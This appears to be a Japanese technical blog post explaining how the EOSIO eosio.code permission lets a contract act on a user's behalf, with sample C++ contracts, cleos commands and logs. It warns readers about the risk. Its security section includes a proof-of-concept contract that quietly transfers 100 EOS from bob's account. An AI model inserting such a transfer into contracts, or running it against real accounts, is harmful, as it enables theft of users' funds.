スマートコントラクトの処理の中、inline action
などで他のスマートコントラクトのアクションを呼び出す時、スマートコントラクトの active
権限設定に eosio.code
を追加する必要があります。
では、コントラクトにこの設定をしたら実際どういう動きになるかを確認してみます。
2つコントラクトを実装する
-
hello
コントラクトからmessage
コントラクトに送信し、メッセージをmessage
コントラクトのマルチインデックステーブルに保持するようにしています
hello コントラクト
#include <eosiolib/eosio.hpp>
using namespace eosio;
class [[eosio::contract]] hello : public eosio::contract {
public:
hello(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}
[[eosio::action]]
void hi(name from) {
print("hello, from ", name{from});
action(
permission_level{from, "active"_n},
"message"_n,
"callme"_n,
std::make_tuple(name{from})
).send();
}
};
EOSIO_DISPATCH(hello, (hi))
メッセージを表示するコントラクト
#include <eosiolib/eosio.hpp>
using namespace eosio;
class [[eosio::contract]] message : public eosio::contract
{
public:
message(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}
[[eosio::action]]
void callme(name from)
{
require_auth(from);
print("call me from :", name{from});
}
};
EOSIO_DISPATCH(message, (callme))
動作確認
eosio.code
権限設定してない場合
上記2つのコントラクトをコンパイルしデプロイしただけの場合は、hello
のhi
アクションを送信すると、下記のような、権限エラーになってしまいます
$ cleos push action hello hi '["bob"]' -p bob
Error 3090003: Provided keys, permissions, and delays do not satisfy declared authorizations
Ensure that you have the related private keys inside your wallet and your wallet is unlocked.
nodes
側のログを確認してみると、下記のエラーが表示されています。
2018-12-09T10:44:46.025078600Z debug 2018-12-09T10:44:46.024 thread-0 http_plugin.cpp:581 handle_exception ] Exception Details: 3090003 unsatisfied_authorization: Provided keys, permissions, and delays do not satisfy declared authorizations
2018-12-09T10:44:46.025118600Z transaction declares authority '{"actor":"bob","permission":"active"}', but does not have signatures for it under a provided delay of 0 ms, provided permissions [{"actor":"hello","permission":"eosio.code"}], provided keys [], and a delay max limit of 3888000000 ms
2018-12-09T10:44:46.025143200Z {"auth":{"actor":"bob","permission":"active"},"provided_delay":0,"provided_permissions":[{"actor":"hello","permission":"eosio.code"}],"provided_keys":[],"delay_max_limit_ms":3888000000}
2018-12-09T10:44:46.025163300Z thread-0 authorization_manager.cpp:517 check_authorization
2018-12-09T10:44:46.025182100Z pending console output: hello, from bob
2018-12-09T10:44:46.025200900Z {"console":"hello, from bob"}
2018-12-09T10:44:46.025219900Z thread-0 apply_context.cpp:72 exec_one
eosio.code
権限を設定する場合
$ cleos set account permission bob active '{"threshold":1,"keys":[{"key":"EOS6tnL51zAKme8fQcFq7ivboqCsttq5sncH6CdETGJGFu9xqVmHF","weight":1}],"accounts":[{"permission":{"actor":"hello","permission":"eosio.code"},"weight":1}]}' -p bob@owner
executed transaction: de23a22469ed9c1c88430114f5e3023e8bf60f33d53597e9ba2fc9382c09bc09 184 bytes 365 us
# eosio <= eosio::updateauth {"account":"bob","permission":"active","parent":"owner","auth":{"threshold":1,"keys":[{"key":"EOS6tn...
warning: transaction executed locally, but may not be confirmed by the network yet ]
再度実行してみます。
cleos push action hello hi '["bob"]' -p bob
executed transaction: 21bea94d2e9e9bd3ea85aa93b84d838011dbc5810937055af32a799cac7d350a 104 bytes 7693 us
# hello <= hello::hi {"from":"bob"}
>> hello, from bob
# message <= message::callme {"from":"bob"}
>> call me from :bob
warning: transaction executed locally, but may not be confirmed by the network yet ]
正常に bob
権限で実行出来ました。
セキュリティリスク
注意しないと行けないのは、
-
bob@active
権限でhello
のhi
アクションを呼び出しました -
hello
コントラクトのhi
アクションの中で、message
コントラクトのcallme
アクションを呼び出しました -
callme
アクションの中でrequire_auth(from)
(つまり、require_auth('bob')
)を検証しています
require_auth('bob')は通ってます!!!
hello
コントラクトがbob
アカウントに代わりにmessage
コントラクトのアクションを実行してもらったように見えます。
勿論、これができている前提は、bob
アカウントの所有者が明示的にactive
権限をhello
コントラクトのeosio.code
ロールに付与したわけですが、hello
コントラクトに悪用される恐れがあります。
上記はbob
アカウントからhi
アクションを実行したが、bob
アカウントが知らないうちに hello
コントラクトがの所有者が勝手にbob
アカウントの代わりにmessage
コントラクトのcallme
を実行できるかどうかを検証してみます。
$ cleos push action hello hi '["bob"]' -p hello@active
executed transaction: 7817d28da51d306d5523fa92b7301c1371f5cfed7bde1f65aa3c81d84a1aed08 104 bytes 8416 us
# hello <= hello::hi {"from":"bob"}
>> hello, from bob
# message <= message::callme {"from":"bob"}
>> call me from :bob
warning: transaction executed locally, but may not be confirmed by the network yet ]
出来てしまいました!!!
eosio.token
の送金を呼び出してみます
コントラクトを更新することができるので、仮に hello
アカウントを持っている開発者が、上記の権限を持っている時、こっそりコントラクトを下記のように、eosio.token
の transfer
処理を加えたとします。
#include <eosiolib/eosio.hpp>
#include <eosiolib/asset.hpp>
using namespace eosio;
class [[eosio::contract]] hello : public eosio::contract {
public:
hello(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}
[[eosio::action]]
void hi(name from) {
print("hello, from ", name{from});
action(
permission_level{from, "active"_n},
"message"_n,
"callme"_n,
std::make_tuple(name{from})
).send();
action(
permission_level{from, "active"_n},
"eosio.token"_n,
"transfer"_n,
std::make_tuple(from, get_self(), asset{10000, symbol{"EOS", 4}}, std::string("test"))
).send();
}
};
EOSIO_DISPATCH(hello, (hi))
コントラクト更新した後、hello@active
権限で実行してみると、
$ cleos push action hello hi '["bob"]' -p hello
executed transaction: ff9447dad069c4a8a56d2235af7451c1bad26253fba7f8f26bbd93e68394de78 104 bytes 10477 us
# hello <= hello::hi {"from":"bob"}
>> hello, from bob
# message <= message::callme {"from":"bob"}
>> call me from :bob
# eosio.token <= eosio.token::transfer {"from":"bob","to":"hello","quantity":"100.0000 EOS","memo":"test"}
# bob <= eosio.token::transfer {"from":"bob","to":"hello","quantity":"100.0000 EOS","memo":"test"}
# hello <= eosio.token::transfer {"from":"bob","to":"hello","quantity":"100.0000 EOS","memo":"test"}
warning: transaction executed locally, but may not be confirmed by the network yet ]
bob
から 100 EOS
の送金処理が実行されてしまいました!!!
まとめ
eosio.code
権限は、明示的に このコントラクトを信頼していいよ 的な意味合いであって、付与すると、自分の代わりにいろいろできてしまうので、設定する時は、慎重にやりましょう。